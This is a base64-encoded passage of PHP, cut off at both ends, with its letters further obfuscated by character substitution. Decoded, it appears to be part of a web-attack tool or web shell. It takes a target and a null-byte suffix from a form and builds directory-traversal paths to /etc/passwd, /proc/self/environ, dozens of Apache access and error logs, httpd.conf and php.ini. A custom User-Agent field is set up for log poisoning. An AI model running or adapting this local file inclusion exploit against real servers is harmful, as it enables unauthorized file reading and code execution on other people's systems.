C8ycHQ0Mm4+IA0KICAgICAgPC9zNWw1Y3Q+IFVzNXItQWc1bnQ6IDw0bnAzdCB0eXA1PSJ0NXh0IiBzNHo1PSJhMCIgbjFtNT0iYzNzdDJtX2g1MWQ1ciIgdjFsMzU9IiI+IA0KICAgPC9mMnJtPic7IA0KICAgNXJyMnJfcjVwMnJ0NG5nKDApOyANCiAgICAgIDRmKCRfUE9TVFsnbGY0M3JsJ10pIHsgDQogICAgICAgICBwcjRudCAiPHByNT4iOyANCiAgICAgICAgICRjaDUxZDVyID0gJF9QT1NUWydjM3N0Mm1faDUxZDVyJ107IA0KICAgICAgICAgJHQxcmc1dCA9ICRfUE9TVFsnbGY0M3JsJ107IA0KICAgICAgICAgJHR5cDUgPSAkX1BPU1RbJ3NjMW50eXA1J107IA0KICAgICAgICAgJGJ5dDU2ID0gJF9QT1NUWyduM2xsJ107IA0KICAgICAgICAgJGxmNHQ1c3QgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3Axc3N3ZCIuJGJ5dDU2LiIiOyANCiAgICAgICAgICRsZjR0NXN0YSA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9mMWs1L2Y0bDUiLiRieXQ1Ni4iIjsgDQogICAgICAgICAkbGY0cHIyYzVudiA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcjJjLzVudjRyMm4iLiRieXQ1Ni4iIjsgDQogICAgICAgICAkbGY0MWNjNXNzID0gMXJyMXkoIA0KICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMXAxY2g1L2wyZ3MvMWNjNXNzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC9sMmdzLzFjYzVzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC9sMmdzLzFjYzVzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci93d3cvbDJncy8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL3d3dy9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1L2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDUvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMXAxY2g1YS8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMXAxY2g1LzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMWNjNXNzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL2h0dHBkLzFjYzVzc19sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2aSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMXAxY2g1YS9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2ZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1YS9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9odHRwZC8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC9sMW1wcC9sMmdzLzFjYzVzc19sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMnB0L3gxbXBwL2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8ycHQvbDFtcHAvbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIik7IA0KICAgICAgICAgDQogICAgICAgICAkbGY0NXJyMnIgPSAxcnIxeSggDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8xcDFjaDUvbDJncy81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvbDJncy81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvd3d3L2wyZ3MvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL3d3dy9sMmdzLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1L2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDUvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDYwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzFwMWNoNS81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL2h0dHBkLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZpID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8xcDFjaDVhL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvaHR0cGQvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC9sMW1wcC9sMmdzLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8ycHQveDFtcHAvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMnB0L2wxbXBwL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC9sMmdzLzVycjJyLmwyZyIuJGJ5dDU2LiIiKTsgDQogIA0KICAgICAgICAgJGxmNGMybmY0ZyA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL2h0dHBkL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjLzFwMWNoNWEvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvaHR0cGQvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvMXAxY2g1YS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy9odHRwZC9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNnUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcHBzLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcHBzLzFwMWNoNS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2ZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cC9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC8xcDFjaDVhL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvd3d3L2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGF1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcjR2MXQ1LzV0Yy9odHRwZC9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3ByNHYxdDUvNXRjL2h0dHBkL2h0dHBkLmMybmYuZDVmMTNsdCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9WMmwzbTVzL3c1YkIxY2szcC8ycHQvMXAxY2g1YS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vVjJsM201cy93NWJCMWNrM3AvcHI0djF0NS81dGMvaHR0cGQvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9WMmwzbTVzL3c1YkIxY2szcC9wcjR2MXQ1LzV0Yy9odHRwZC9odHRwZC5jMm5mLmQ1ZjEzbHQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocC9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG8wID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwdS9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG82ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwaS9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9hID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocHUvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG91ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwaS9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb2kgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvMXAxY2g1L3ZoMnN0cy5jMm5mIi4kYnl0NTYuIiIpOyANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgJGxmNHBocDRuNCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYjRuL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sNGIvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sNGIvcGhwL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvNXRjL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwL2w0Yi9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocHUvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2MCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocGkvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzFwMWNoNS9jMm5mL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUudS9mY2c0L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2byA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUvMXAxY2g1L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2dSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUvMXAxY2g1YS9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpLzFwMWNoNS9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpLzFwMWNoNWEvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocC9waHB1L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocC8xcDFjaDUvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwLzFwMWNoNWEvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi93NWIvYzJuZi9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC9aNW5kLzV0Yy9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC81dGMvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGF1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJjMWwvd3d3L2MybmYvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFpID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwL2NnNC9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy